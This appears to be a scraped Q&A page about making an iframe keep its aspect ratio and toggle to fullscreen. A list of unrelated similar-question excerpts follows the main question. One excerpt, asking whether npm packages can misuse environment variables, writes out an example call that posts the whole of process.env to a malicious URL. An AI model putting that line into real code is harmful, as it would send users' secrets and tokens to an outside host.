Create a responsive iframe that expands to fullscreen when a button is clicked

Currently, I am using the following code to create an adaptive iframe with a fixed ratio for both width and height:

<div id="game-container" style="overflow: hidden; position: relative; padding-top: 60%">
<iframe  style="position: absolute; width: 100%; height: 100%; top: 0; left: 0;" frameborder="0" scrolling="no" src="example.html">
</iframe>
</div>

Additionally, I have implemented a toggle fullscreen button with the class "toggle_fullscreen" and included this JavaScript function to enable fullscreen mode upon clicking the button:

var game = $("#game-container");
var FSbutton = $(".toggle_fullscreen");
var gm = game[0];
FSbutton.on('click', function(e){
if (gm.requestFullscreen) {
  gm.requestFullscreen();
} else if (gm.mozRequestFullScreen) {
  gm.mozRequestFullScreen();
} else if (gm.webkitRequestFullscreen) {
  gm.webkitRequestFullscreen();
}});

While this setup works well when the width of the iframed content is greater than the height, it does not display correctly if the height is larger. I have tried adjusting the code without success. Could you propose a better approach to achieve an adaptive iframe with a maximum width that can still be toggled to fullscreen?

Answer №1

For maintaining the aspect ratio of a div using CSS, I recommend referring to this question on Stack Overflow: Maintain the aspect ratio of a div with CSS. Feel free to implement the solution in your example.html to ensure your content remains with a fixed ratio.

Similar questions

If you have not found the answer to your question or you are interested in this topic, then look at other similar questions below or use the search

What causes the variation in results when I input CSS directly into the head section versus linking it from a separate .css file?

As a beginner, I am facing an issue with my CSS. When I directly insert the CSS into the head of my .html file, everything looks perfect. However, when I link my .css file into the head, the very first word ("Holy") does not display properly. I have double ...

Tips on concealing the overflow content within a Material UI table cell, rather than allowing it to wrap around

I have been trying to use the material UI Table component in order to display a table. The issue I am facing is that when the content in a cell exceeds the allotted space, instead of showing ellipses (...), the text wraps within the cell. I attempted to ap ...

Modify the background color of a specific bar across multiple charts when hovering or clicking - utilizing chart.js

I have multiple chart.js canvas elements on a webpage. The goal is to be able to quickly identify and highlight the same bar value across all the charts. For example, when I hover over a bar called "Thu" on the first chart, I want to automatically search f ...

Unable to locate video identifier on ytdl

Lately, I have been working on developing a music bot for Discord. I have successfully managed to make it join and leave voice channels flawlessly, but playing music has proven to be quite challenging. For some reason, the play and playStream functions do ...

Admin-on-rest sidebar navigation menu

Hello everyone! I am new to ReactJS and admin-on-rest. I am currently studying from this documentation and I am interested in creating a navigation submenu similar to the one shown here. I have tried searching on Google but haven't found what I need. ...

The callbacks from using Mongoose findById() only yield results for irrelevant information

I am currently using Mongoose for database operations. I am experiencing an issue where the findById() method is sometimes returning results, but not consistently: Case 1: Invalid Query models.Repo.findById("somefakeid", function(err, result){console.log ...

Increase the div id using jQuery

I've got this code snippet here and, oh boy, am I a newbie. How can I increase the number in the div using a jQuery script? if($res >= 1){ $i=1; while($row = mysqli_fetch_array($qry)){ echo "<div clas ...

A step-by-step guide to incorporating dependencies in an AngularJS controller

I'm currently working on a MEANJS application and I want to integrate Snoocore into an AngularJS controller. Find more about Snoocore here 'use strict'; angular.module('core').controller('HomeController', ['$scope ...

Is there a way to determine if npm packages are accessing and misusing my system's environment variables?

Apologies if this seems nonsensical. But including a code snippet like this: // to illustrate I'm utilizing a source from https://www.npmjs.com/package/got got.post(maliciousUrl, {json: process.env}) Is it enough to leak environment variables to an u ...

What is the process for assigning an ID to an object by clicking on an adjacent link in Django?

Trying to set an identifier for a CSV file's name so that clicking on a link next to it will lead to viewing the file itself on another webpage. Encountering the error message 'QueryDict' object has no attribute 'objects' Please ...

Steps for transforming an array into a complex array

Here is an array I have: [2, 1, 2, 1, 1, 1, 1, 1] I am looking for a way to create new arrays within the original array when the sum of values exceeds four. The desired result should look like this: [[2,1],[2,1,1],[1,1,1]] ...

JavaScript - Matching overlapping time intervals

Struggling to develop a custom filter using Javascript, I aim to determine if two time ranges in millisecond getTime() format match. The first time range is retrieved from an object while the second comes from user input for filtering. Currently, my code c ...

Vue.js is displaying an error message stating that the data property is

I am struggling to access my data property within my Vue.js component. It seems like I might be overlooking something obvious. Below is a condensed version of my code. The file StoreFilter.vue serves as a wrapper for the library matfish2/vue-tables-2. &l ...

Is it possible to dispatch an async action when a route changes in React Router and Redux?

I am working on a universal react app with redux and react-router integration. My app has multiple routes such as: /2016 /2015 /2014 /2013 and so on. Each route requires fetching data from an API. Currently, I am using <Link> elements in the Navi ...

Automatic line breaks in MathJax when displayed in a modal dialogue box

As part of a math project, I need to display the solution of a problem in a Sweetalert2 modal. However, despite using the following code: <script type="text/x-mathjax-config"> MathJax.Hub.Config({ tex2jax: { inlineMath: [['$','$ ...

Understanding the Execution of Asynchronous Code

I've been grappling with this problem for a while now, but I just can't seem to find the solution. That's why I'm reaching out for your expertise. Consider the example below: const async = require('async') var counter = 0 v ...

The compatibility between Babel 7 and the preset-es2015 is not very reliable

After reading this useful tutorial on implementing server-side rendering with create-react-app, I attempted to execute the following code snippet: require('ignore-styles'); require('babel-register')({ ignore: [/(node_modules)/], ...

Generating a hyperlink within an HTML file for other HTML files that reside in the same directory as the angular framework

Currently, I am developing a website for my final HTML project at university. This project uses Angular as the main framework. The task is to create 4 articles as separate HTML pages and have the article.component.html file contain links to these pages. I ...

When the md-menu is clicked, the Top Nav shifts upwards along with the mdDialog buttons

Currently, I am in the process of developing a website using AngularJS and ASP.NET, incorporating Angular Material. However, I encountered an issue where scrolling on the page causes the top navigation to move up the body or essentially "disappear" when cl ...

Having difficulty locating the html sub-elements within a specific element

As someone who is somewhat new to scraping websites with numerous sub-elements, I am seeking the best way to navigate through elements that contain desired data within deeper levels of sub-elements. Let's take a look at an example HTML snippet: <d ...